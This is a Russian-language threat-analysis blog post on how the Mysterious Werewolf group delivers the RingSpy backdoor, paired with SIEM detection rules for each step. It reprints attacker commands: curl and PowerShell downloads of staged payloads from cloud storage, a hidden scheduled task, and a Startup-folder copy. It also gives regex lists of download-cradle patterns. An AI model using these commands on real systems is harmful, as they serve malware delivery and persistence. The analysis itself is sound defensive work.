Введение
Привет, Хабр!
Меня зовут Илья Ефимов, я аналитик-исследователь угроз кибербезопасности в компании R-Vision. Сегодня я расскажу про вредоносное ПО RingSpy, которое использует группировка Mysterious Werewolf. В этой статье мы подробно разберём один из способов его установки на компьютер жертвы.
RingSpy — это программа для удаленного доступа, которая позволяет скачивать файлы и выполнять различные команды атакующих (С2). Она пришла на смену другому инструменту — агенту Athena фреймворка Mythic. RingSpy управляется через бот в мессенджере Telegram, что делает его идеальным для скрытой атаки и контроля над скомпрометированными системами. А основной «фишкой» способа доставки бэкдора стала эксплуатация уязвимости CVE‑2023‑38831 в WinRAR.
Наши коллеги уже подготовили отчет о функционале этого бэкдора. Я же хочу разобрать один из способов его внедрения в скомпрометированную систему и рассмотреть, как его можно обнаружить с помощью R-Vision SIEM.
Детали работы загрузчика RingSpy
В этой статье мы подробно разберем метод внедрения бэкдора, используя техники из матрицы MITRE ATT&CK.
Фишинг через вложение
Для первоначального доступа в систему жертвы злоумышленники используют фишинг, что соответствует технике T1566.001 - Phishing: Spearphishing Attachment. Они отправляют электронные письма с вложенным архивом, который содержит файл с двойным расширением, использующий уязвимость CVE‑2023‑38831 в WinRAR.
Эксплуатация уязвимости в клиентском приложении
После доставки фишингового вложения при открытии файла происходила эксплуатация CVE-2023-38831 WinRAR, что относится к технике T1203 - Exploitation for Client Execution. Атакующие использовали данную уязвимость для запуска полезной нагрузки. Подробнее можно познакомиться с моим разбором CVE-2023-38831 WinRAR и возможностями ее детекта в статье.
Доставка инструментария атакующего
Техника Ingress Tool Transfer T1105 используется, когда атакующий передает вредоносные инструменты или файлы из внешней системы в скомпрометированную среду.
Для подгрузки модулей ВПО атакующие из Mysterious Werewolf использовали командлет Invoke-WebRequest, а также встроенную утилиту curl
.
Далее описаны используемые методы для подгрузки данных с внешних ресурсов.
Утилита сurl
В блоке кода ниже используется утилита curl для загрузки содержимого файла "bat.bat"
. В результате этот файл сохранялся в локальном хранилище под названием "i.bat"
.
# Скачивает файл с указанного URL и сохраняет его по пути `C:\Users\[username]\AppData\Local\r`.Использует метод HTTP GET и заголовки для авторизации и указания типа содержимого.
curl -o "C:\Users\<username>\AppData\Local\r" -L -O -X GET "https://cloud-api.yandex.net/v1/disk/resources/download?path=bat.bat" -H "Accept: application/json" -H "Authorization: OAuth [redacted]" -H "Content-Type: application/json"
# Читает содержимое файла `r` и сохраняет его в переменную `B`.
set /p B=<"C:\Users\<username>\AppData\Local\r"
# Скачивает файл с URL, который извлекается из переменной `B` (начиная с 9-го символа и длиной 445 символов), и сохраняет его по пути `C:\Users\[username]\AppData\Local\i.bat`. Также использует метод HTTP GET и заголовки для авторизации и указания типа содержимого.
curl -o "C:\Users\<username>\AppData\Local\i.bat" -L -O -X GET "%B:~9,445%" -H "Accept: application/json" -H "Authorization: OAuth [redacted]" -H "Content-Type: application/json"
В результате этой активности на хосте в журналах Sysmon
и Security
возникают следующие события:
DNS-запрос к домену
api.disk.yandex.net
в EventID 22: DNSEvent (DNS query) Sysmon.Сетевое соединение EventID 3: Network connection Sysmon с IP, соответствующим домену
cloud-api.yandex.net
.Создание файла вывода
C:\Users\<user>\AppData\Local\r
, в результате работы утилитыcurl.exe
(EventID 11: FileCreate Sysmon).Формирование процессов утилиты
curl.exe
с доступом к внешним ресурсам, что зафиксировано в EventID 1: Process creationSysmon
или EventID 4688: Process creation журналаSecurity
.
Следует отметить, что эти события могут быть полезны для расследования, но не для построения хорошей детектирующей логики. Причина в том, что злоумышленники использовали API Яндекса в качестве C2-сервера для доставки вредоносного инструментария. В следующий раз они могут выбрать другое облачное решение для этой цели.
Детект доставки инструментария через утилиту curl
Активность по работе утилиты curl
, связанной с загрузкой файлов, может быть задетектирована вспомогательным правилом «Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит»
:
Под спойлером представлен фрагмент логики правила, которая отвечает за его детектирование. Основная задача этой логики — поиск событий создания процессов с использованием популярных утилит и флагов, предназначенных для загрузки файлов с удалённых серверов.
Кроме того, в правиле предусмотрен список исключения легитимных ресурсов, обращение к которым разрешено и не будет генерировать корреляционные сработки:
«Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит»
filter: !vrl |
.dvendor == "Microsoft" &&
includes(["1", "4688"], .externalId)
aliases:
proc_create:
filter: !vrl |
flag = false
# В списке legit_domains будет находится список легитимных доменов. В случае если домен совпадает, то сработки не будет
legit_domains = ["legitdom.com"]
dproc = downcase(to_string(.dproc) ?? "-")
if .externalId == "1"{
cmd = to_string(.cmd) ?? "-"
cs2 = downcase(to_string(.cs2) ?? "-")
# Разные проверки cmd для разных пакетов Python (urllib, urllib2, urllib3 - Python2, requests - Python3)
if ((ends_with(dproc, "\\python.exe") || cs2 == "python") && (contains_all(downcase(cmd), ["urllib", "urlopen"]) || contains_all(downcase(cmd), ["request", "get"]))) ||
((ends_with(dproc, "\\certreq.exe") || cs2 == "certreq.exe") && contains_all(downcase(cmd), ["post", "config"])) ||
((ends_with(dproc, "\\certutil.exe") || cs2 == "certutil.exe") && contains_all(downcase(cmd), ["verifyctl", "split"])) ||
((ends_with(dproc, "\\certutil.exe") || cs2 == "certutil.exe") && contains_all(downcase(cmd), ["urlcache", "split"])) ||
((ends_with(dproc, "\\curl.exe") || cs2 == "the curl executable") && (contains(cmd, "-O ") || contains(downcase(cmd), "--remote-name")))
{
flag = true
cmd = downcase(to_string(.cmd) ?? "-")
for_each(legit_domains) -> |_index, value|{
if contains(cmd, value){
flag = false
}
}
}
} else if .externalId == "4688"{
cmd = to_string(.cmd) ?? "-"
# Разные проверки cmd для разных пакетов Python (urllib - Python2, requests - Python3)
if ((ends_with(dproc, "\\python.exe")) && (contains_all(downcase(cmd), ["urllib", "urlopen"]) || contains_all(downcase(cmd), ["request", "get"]))) ||
((ends_with(dproc, "\\certreq.exe")) && contains_all(downcase(cmd), ["post", "config"])) ||
((ends_with(dproc, "\\certutil.exe")) && contains_all(downcase(cmd), ["verifyctl", "split"])) ||
((ends_with(dproc, "\\certutil.exe")) && contains_all(downcase(cmd), ["urlcache", "split"])) ||
((ends_with(dproc, "\\curl.exe")) && (contains(cmd, "-O ") || contains(downcase(cmd), "--remote-name"))){
flag = true
cmd = downcase(to_string(.cmd) ?? "-")
for_each(legit_domains) -> |_index, value|{
if contains(cmd, value){
flag = false
}
}
}
}
flag
Командлет Invoke-WebRequest
Бэкдор RingSpy позволяет загружать файлы с удалённых ресурсов. Для этого используется командлет Invoke-WebRequest
. Вот как выглядит шаблон команды:
powershell.exe Invoke-WebRequest -Uri "http://[сетевой ресурс]/[имя файла]" -OutFile " C:\Users\[username]\AppData\Local\Microsoft\Windows\Ringtones\<имя файла>"
В результате активности формируются события с EventID 4103: Module logging и 4104: Powershell Script Block Logging журнала Powershell/Operational
, в которых можно увидеть интересующий нас командлет Invoke-WebRequest
:
Детект доставки инструментария через командлет Invoke-WebRequest
В R-Vision SIEM можно фиксировать подобную активность с загрузкой файлов через командлет Invoke-WebRequest
, при помощи правила «Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит»
. Ниже представлен пример корреляционного события, иллюстрирующий работу этого правила.
Под спойлером представлена часть детектирующей логики правила, в которой отслеживаются события 4103
и 4104
журнала Powershell/Operational
с интересующими нас командлетами, которые могут быть использованы для загрузки файлов.
«Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит»
filter: !vrl |
.dvendor == "Microsoft" &&
(.externalId == "4104" || .externalId == "4103")
aliases:
event:
filter: !vrl |
match(to_string(downcase(.fname) ?? "-"), r'iex.*downloadstring|invoke-expression.*downloadstring|iex.*iwr.*http|invoke-expression.*invoke-webrequest.*http|invoke-expression.*iwr.*http|iex.*invoke-webrequest.*http|invoke-webrequest.*http|invoke-restmethod.*http|iwr.*http|xmlhttp.*send.*iex|xmlhttp.*send.*invoke-expression|winhttprequest.*send.*iex|winhttprequest.*send.*invoke-expression|invoke-restmethod.*uri|irm.*uri|iwr.*uri|downloadfile|net.webclient|downloaddata|downloaddataasync|downloaddatataskasync|downloadfileasync|downloadfiletaskasync|downloadstringasync|downloadstringtaskasync|filewebrequest|ftpwebrequest|httpwebrequest|curl|wget|msxml2.xmlhttp|internetexplorer.application|msxml2.serverxmlhttp|word.application|excel.application|0002df01-0000-0000-c000-000000000046|f6d90f16-9c73-11d3-b32e-00c04f990bb4|f5078f35-c551-11d3-89b9-0000f81fe221|88d96a0a-f192-11d4-a65f-0040963251e5|afba6b42-5692-48ea-8141-dc517dcf0ef1|afb40ffd-b609-40a3-9828-f88bbe11e4e3|88d96a0b-f192-11d4-a65f-0040963251e5|2087c2f4-2cef-4953-a8ab-66779b670495|000209ff-0000-0000-c000-000000000046|00024500-0000-0000-c000-000000000046|bitstransfer|system.xml.xmldocument|appactivate|sendkeys')
Удаление файловых индикаторов
Техника T1070.004 — Indicator Removal: File Deletion — применяется атакующими для устранения следов своего присутствия в системе, чтобы минимизировать вероятность обнаружения. Она включает удаление вредоносного ПО, инструментов или других файлов, созданных в ходе вторжения.
После выполнения задач бэкдором RingSpy загруженные стейджеры самоудаляются, чтобы скрыть следы атаки, с помощью команды:
del /s /q "C:\Users\<username>\AppData\Local\r"
Фиксируется действие в журнале Sysmon/Operational
событием с FileDeleteDetected (File Delete logged). Как можно заметить, в filePath
хранится путь к удаляемому файлу, а в dproc
— процесс, который инициировал удаление файла:
Детект удаления файловых индикаторов атакующим
Эта активность детектируется с помощью системы анализа событий R-Vision SIEM, которая использует правило «Создание и удаление файла за короткий промежуток времени с помощью интерпретатора командной строки»
. Ниже представлен пример корреляционного события:
В детектирующем правиле отслеживаются события создания и удаления одного и того же файла от процесса командной строки за короткий промежуток времени.
«Создание и удаление файла за короткий промежуток времени с помощью интерпретатора командной строки»
filter: !vrl |
.dvendor == "Microsoft" &&
includes(["11", "26"], .externalId) &&
ends_with(downcase(to_string(.dproc) ?? ""), "\\cmd.exe")
aliases:
file_create:
filter: !vrl |
flag = false
if .externalId == "11"{
flag = true
}
flag
file_delete:
filter: !vrl |
flag = false
if .externalId == "26"{
flag = true
}
flag
ttl: 1
select:
alias: file_create
join:
alias: file_delete
on:
- eq: {file_create: .dvchost, file_delete: .dvchost}
- eq: {file_create: .filePath, file_delete: .filePath}
- eq: {file_create: .suser, file_delete: .suser}
Интерпретаторы командной строки и сценариев
Техника T1059 — Command and Scripting Interpreter используется атакующими для выполнения команд, скриптов или бинарных файлов на целевых системах. Интерпретаторы команд и скриптов обеспечивают способы взаимодействия с компьютерными системами и являются общей функцией на многих платформах.
В рамках своей работы RingSpy использует различные интерпретаторы:
Ниже представлен пример содержимого скрипта python.vbs
, который является бэкдором RingSpy. Этот скрипт запускается с помощью Wscript.Shell
:
Set oShell = CreateObject("Wscript.Shell")
oShell.Run “C:\Users\[redacted]\AppData\Local\Python\python.exe” "C:\Users\[redacted]\AppData\Local\Python\f.py” , 0, true
Детект техники «Интерпретаторы командной строки и сценариев»
R-Vision SIEM детектирует активность, связанную с использованием Visual Basic, с помощью правила: «Потенциальное выполнение скрипта через WScript/CScript»
. Ниже представлен пример корреляционного события:
Под спойлером представлен фильтр правила, где фиксируется создание процессов WScript/CScript и попытка исполнения скриптовых файлов в подозрительных директориях:
«Потенциальное выполнение скрипта через WScript/CScript»
aliases:
events:
filter: !vrl |
cmd = to_string(downcase(.cmd) ?? "-")
dproc = to_string(downcase(.dproc) ?? "-")
.dvendor == "Microsoft" &&
((.externalId == "1" || .externalId == "4688") &&
( (ends_with(dproc, "wscript.exe")) ||
(ends_with(dproc, "cscript.exe")) ) &&
( (contains(cmd, ":\\\\temp\\\\")) ||
(contains(cmd, ":\\\\tmp\\\\")) ||
(contains(cmd, ":\\\\users\\\\public\\\\")) ||
(contains(cmd, ":\\\\windows\\\\temp\\\\")) ||
(contains(cmd, "\\\\appdata\\\\local\\\\temp\\\\")) ) &&
( (contains(cmd, ".js")) ||
(contains(cmd, ".jse")) ||
(contains(cmd, ".vba")) ||
(contains(cmd, ".vbe")) ||
(contains(cmd, ".vbs")) ||
(contains(cmd, ".wsf")) ) )
Использование веб-служб для двусторонней связи
Техника T1102.002 — Web Service: Bidirectional Communication — используется атакующими для отправки команд на скомпрометированную систему и получения от нее данных через легитимные внешние веб-сервисы.
Управляющий сервер бэкдора — бот в мессенджере Telegram. При успешном выполнении команд вывод записывается в файл C:\Users\[redacted]\AppData\Local\Python\rs.txt
, а затем отправляется на управляющий сервер в виде файла. Файлы на управляющий сервер отправляются с использованием сетевого ресурса https://api.telegram.org/bot[токен бота]/sendDocument
, а текст — https://api.telegram.org/bot[токен бота]/sendMessage
.
При подключении к домену api.telegram.org
происходит множество событий, но особенно интересными являются два из них:
Событие DNS запроса к домену
api.telegram.org
. Это событие фиксируется в журналеSysmon/Operational
с Event ID 22: DNSEvent (DNS query):
Событие сетевого соединения с IP-адресом
149.154.167.220
, который принадлежитapi.telegram.org
. Это уведомление также можно найти в журналеSysmon/Operational
с Event ID 3: Network connection:
Детект использования Telegram в качестве C2
Здесь на помощь приходит R-Vision SIEM, который использует правило «Запросы к API Telegram подозрительным приложением»
. Вот пример корреляционного события:
Под спойлером представлен фильтр правила, который отслеживает соединения с IP-адресом или доменным именем, соответствующими API Telegram (149.154.167.220
и api.telegram.org
). Так как такая активность часто является легитимной, в правиле предусмотрено исключение по родительскому процессу, благодаря активному списку telegram_legit_actives
:
«Запросы к API Telegram подозрительным приложением»
filter: !vrl |
.dvendor == "Microsoft" &&
includes(["3", "22"], to_string(.externalId) ?? "")
aliases:
connect_telegram:
filter: !vrl |
isConnectLegit = false
isConnectTelegram = false
externalId = to_string(.externalId) ?? ""
dproc = "\\\\" + to_string(split(downcase(to_string(.dproc) ?? ""), "\\\\", limit: 2)[-1])
dvchost = downcase(to_string(.dvchost) ?? "")
destinationTranslatedAddress = ipv6_to_ipv4(.destinationTranslatedAddress) ?? ""
destinationTranslatedPort = to_string(.destinationTranslatedPort) ?? ""
cs1 = downcase(to_string(.cs1) ?? "")
# В массив ["149.154.167.220"] нужно будет вписывать IP-адреса API Telegram, на случай если будут добавляться еще адреса
if externalId == "3" && includes(["149.154.167.220"], destinationTranslatedAddress) && destinationTranslatedPort == "443"{
isConnectTelegram = true
isActiveLegit = get_active_record("telegram_legit_actives", {"dvchost": dvchost, "dproc": dproc}) ?? null
if (isActiveLegit != null) {
isConnectLegit = true
}
} else if externalId == "22" && cs1 == "api.telegram.org"{
isConnectTelegram = true
isActiveLegit = get_active_record("telegram_legit_actives", {"dvchost": dvchost, "dproc": dproc}) ?? null
if (isActiveLegit != null) {
isConnectLegit = true
}
}
!isConnectLegit && isConnectTelegram
Закрепление через планировщик заданий Windows
Техника T1053.005 — Scheduled Task / Job: Scheduled Task используется атакующими для выполнения команд или программ на скомпрометированной системе в заданное время или на регулярной основе.
Бэкдор RingSpy предоставляет атакующему возможность удаленно выполнять команды, просматривать их результаты и загружать файлы из сети. Для закрепления в бэкдоре можно использовать опцию -f
при запуске. В этом случае RingSpy устанавливает в планировщике заданий выполнение скрипта python.vbs
каждую минуту:
powershell.exe schtasks /create /tn 'GoogleUpdatess' /tr '%localappdata%\Python\python.vbs' /sc minute /mo 1
При выполнении команды генерируются события с EventID 1: Process Creation журнала Sysmon/Operational
и EventID 4688: Process Creation журнала Security
, где в поле cmd
можно увидеть выполняемую команду по созданию задачи GoogleUpdatess
:
Наиболее точечным детектом будет событие с EventID 4698: A scheduled task was created , зафиксированное в журнале Security
. В поле cs2
можно увидеть процесс, ответственный за эту активность, а в поле cs6
— название созданной задачи GoogleUpdatess
:
Детект «Закрепление через планировщик заданий Windows»
Эту активность детектирует R-Vision SIEM при помощи правила «Изменения в планировщике задач»
. Ниже показан пример корреляционного события:
Под спойлером представлена часть детектирующей логики правила, где происходит мониторинг событий создания, удаления, изменения запланированных задач. При этом при помощи массива legitimate_tasks
и таблицы legitimate_scheduled_task
происходит исключение легитимных путей для задач:
«Изменения в планировщике задач»
filter: !vrl |
.dvendor == "Microsoft" &&
includes(["4698", "4699", "4702"], .externalId) && !ends_with(downcase(to_string(.suser) ?? ""), "$")
aliases:
schedule_task_change:
filter: !vrl |
cs6 = downcase(to_string(.cs6) ?? "")
#Список легитимных путей для задач
legitimate_tasks = [
"\\onedrive standalone update task-",
"\\onedrive reporting task-",
"\\mozilla\\firefox default browser agent",
"\\user_feed_synchronization-",
"\\googleupdatetaskmachine",
"\\opera scheduled"
]
flag = true
#проверка на вхождение задачи в список легитимных задач legitimate_tasks
for_each(legitimate_tasks) -> |_index, value| {
if contains(cs6, value){
flag = false
}
}
#Если в предыдущих проверках не удалось найти легитимную задачу, то проверка на вхождение задачи в таблице легитимных задач legitimate_scheduled_tasks
if flag == true{
legit_task_check, error = get_enrichment_table_record("legitimate_scheduled_task", {"path": cs6}, case_sensitive: false)
if !is_empty(legit_task_check){
flag = false
}
}
if flag == false{
false
} else{
true
}
Закрепление через автозагрузку
Техника T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder — используется атакующими для достижения постоянства на скомпрометированной системе.
Чтобы закрепить своё присутствие, при запуске бэкдора python.vbs
они копируют VB-скрипт в директорию автозапуска:
copy "%localappdata%\Python\python.vbs" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
Наиболее эффективным способом обнаружения событий, которые генерируются, будет использование EventID 4663: An attempt was made to access an object журнала Security
. При этом стоит обратить внимание на маску доступа. Нас интересуют маски 0x100 (WriteAttributes) или 0x6 (0x2 (WriteData) + 0x4 (AppendData)):
Также фиксируется событие создание файла средствами Sysmon
с EventID 11, где в поле filePath
содержится название создаваемого файла в папке автозагрузки:
Детект «Закрепление через автозагрузку»
Эту активность обнаруживает R-Vision SIEM с помощью правила «Возможное закрепление в системе через автозагрузку»
. Ниже представлен пример корреляционного события:
Часть детектирующей логики правила, где происходит мониторинг событий создания файла в директориях автозапуска, представлена под спойлером:
«Возможное закрепление в системе через автозагрузку»
filter: !vrl |
.dvendor == "Microsoft" &&
# Фильтруем событие доступа к объекту файловой системы с access mask на запись при помощи журнала Security
(.externalId == "4663" &&
(.accessMask == "0x100" || .accessMask == "0x6")) ||
# Фильтруем событие создание файла при помощи журнала Sysmon
(.externalId == "11")
on_event: !vrl |
# Директории, в которых может быть реализована данная техника
registry_run_keys = ["\\\\appdata\\\\roaming\\\\microsoft\\\\windows\\\\start menu\\\\programs\\\\startup","\\\\programdata\\\\microsoft\\\\windows\\\\startmenu\\\\programs\\\\startup"]
state.flag = false
for_each(registry_run_keys) -> |_index, value| {
if .externalId == "11"{
if contains(downcase(to_string(.filePath) ?? ""), value){
state = .
state.flag = true
state.msg = "Пользователь " + (to_string(.sntdom) ?? "-") + "\\" + (to_string(.suser) ?? "-") + " осуществил закрепление в системе на хосте " + (to_string(.dvchost) ?? "-") + " через директорию автозапуска при помощи процесса " + (to_string(.dproc) ?? "-")
}
} else if .externalId == "4663"{
if contains(downcase(to_string(.fname) ?? ""), value){
state = .
state.flag = true
state.msg = "Пользователь " + (to_string(.sntdom) ?? "-") + "\\" + (to_string(.suser) ?? "-") + " осуществил закрепление в системе на хосте " + (to_string(.dvchost) ?? "-") + " через директорию автозапуска при помощи процесса " + (to_string(.dproc) ?? "-")
}
}
}
Заключение
В этой статье мы подробно рассмотрели один из способов доставки бэкдора RingSpy на скомпрометированный хост.
На основе анализа я подготовил несколько рекомендаций, которые помогут вам защитить вашу систему от подобных угроз:
Обновите WinRAR до версии 6.23 или более поздней. Это позволит вам избежать уязвимости CVE-2023-38831.
Следите за распространенными киберугрозами и тактиками, которые используют атакующие. Эти знания помогут вам распознать потенциальные риски и избежать мошенничества.
Будьте осторожны с вложениями из неизвестных источников. Запускайте только те вложения, которые получены из надежных источников.
Кроме того, мы продемонстрировали, как R-Vision SIEM может эффективно выявлять активность подобного рода. Поэтому для защиты от подобных атак рекомендуем использовать это решение.
Надеюсь, статья оказалась для вас полезной. Если у вас остались вопросы, буду рад ответить на них в комментариях.
MITRE ATT&CK
Матрица MITRE ATT&CK
Тактика |
Техника |
Процедура |
Правило |
---|---|---|---|
Использует фишинговые письма для получения первоначального доступа |
|||
Использует PowerShell для выполнения команд и сценариев |
|||
Command and Scripting Interpreter: Windows Command Shell T1059.003 |
Использует командную строку Windows для выполнения команд и сценариев |
||
Использует VBS‑сценарии |
Потенциальное выполнение скрипта через WScript/CScript |
||
Использует интерпретатор Python для выполнения кода бэкдора |
|||
Использует уязвимость CVE‑2023‑38831 в WinRAR для выполнения вредоносного кода |
Запуск интерпретатора командной строки от WinRAR |
||
Использует планировщик задач Windows для закрепления в скомпрометированной системе |
Изменения в планировщике задач |
||
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - T1547.001 |
Использует папку автозагрузки для закрепления в скомпрометированной системе |
Зафиксировано возможное закрепление в системе посредством помещения файла в директорию автозагрузки |
|
Удаляет файлы после выполнения |
Создание и удаление файла за короткий промежуток времени при помощи интерпретатора командной строки |
||
Загружает файлы с удаленных ресурсов |
1) Загрузка файлов с удаленного сервера при помощи PowerShell 2) Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит |
||
Использует бот в мессенджере Telegram в качестве командного сервера |
Запросы к API Telegram подозрительным приложением |
При этом стоит отметить, что список правил не окончательный, в статье описаны лишь правила, которые наиболее точно подходят под определенную технику.
Midji
А почему для доставки вредоносного кода используется так много интерпретаторов? Не осторожнее ли всего написать исполняемый exe, который будет самостоятельно выполнять данные действия? К тому же его и реверсить будет труднее
slavius
.exe не проходят фильтры почты и быстрее детектируются.